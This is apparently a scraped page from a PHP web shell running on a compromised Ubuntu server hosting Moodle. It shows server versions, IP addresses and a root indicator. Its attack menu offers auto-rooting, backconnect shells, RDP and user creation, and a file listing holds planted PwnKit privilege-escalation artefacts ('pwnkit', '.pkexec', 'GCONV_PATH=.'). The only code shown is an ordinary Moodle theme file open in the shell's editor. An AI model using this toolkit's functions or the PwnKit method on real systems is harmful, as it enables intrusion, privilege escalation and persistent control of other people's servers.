Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
theme /
splash /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
javascript
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
layout
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
style
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
config.php
5.13
KB
-rwxrwxrwx
lib.php
3.86
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
3.16
KB
-rwxrwxrwx
version.php
1.19
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Library functions for theme_splash * * @package theme_splash * @copyright 2011 Synergy Learning * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * theme_splash post process function for CSS * @param string $css Incoming CSS to process * @param stdClass $theme The theme object * @return string The processed CSS */ function splash_process_css($css, $theme) { if (!empty($theme->settings->regionwidth)) { $regionwidth = $theme->settings->regionwidth; } else { $regionwidth = null; } $css = splash_set_regionwidth($css, $regionwidth); if (!empty($theme->settings->customcss)) { $customcss = $theme->settings->customcss; } else { $customcss = null; } $css = splash_set_customcss($css, $customcss); return $css; } /** * Sets the region width variable in CSS * * @param string $css * @param mixed $regionwidth * @return string */ function splash_set_regionwidth($css, $regionwidth) { $tag = '[[setting:regionwidth]]'; $doubletag = '[[setting:regionwidthdouble]]'; $leftmargintag = '[[setting:leftregionwidthmargin]]'; $rightmargintag = '[[setting:rightregionwidthmargin]]'; $replacement = $regionwidth; if (is_null($replacement)) { $replacement = 240; } $css = str_replace($tag, $replacement.'px', $css); $css = str_replace($doubletag, ($replacement*2).'px', $css); $css = str_replace($rightmargintag, ($replacement*3-5).'px', $css); $css = str_replace($leftmargintag, ($replacement+5).'px', $css); return $css; } /** * Sets the custom css variable in CSS * * @param string $css * @param mixed $customcss * @return string */ function splash_set_customcss($css, $customcss) { $tag = '[[setting:customcss]]'; $replacement = $customcss; if (is_null($replacement)) { $replacement = ''; } $css = str_replace($tag, $replacement, $css); return $css; } /** * Adds the JavaScript for the colour switcher to the page. * * The colour switcher is a YUI moodle module that is located in * theme/splash/yui/splash/splash.js * * @param moodle_page $page */ function splash_initialise_colourswitcher(moodle_page $page) { user_preference_allow_ajax_update('theme_splash_chosen_colour', PARAM_ALPHA); $page->requires->yui_module('moodle-theme_splash-colourswitcher', 'M.theme_splash.initColourSwitcher', array(array('div'=>'#colourswitcher'))); } /** * Gets the colour the user has selected, or the default if they have never changed * * @param string $default The default colour to use, normally red * @return string The colour the user has selected */ function splash_get_colour($default='red') { return get_user_preferences('theme_splash_chosen_colour', $default); } /** * Checks if the user is switching colours with a refresh (JS disabled) * * If they are this updates the users preference in the database * * @return bool */ function splash_check_colourswitch() { $changecolour = optional_param('splashcolour', null, PARAM_ALPHA); if (in_array($changecolour, array('red', 'green', 'blue', 'orange'))) { return set_user_preference('theme_splash_chosen_colour', $changecolour); } return false; }
Close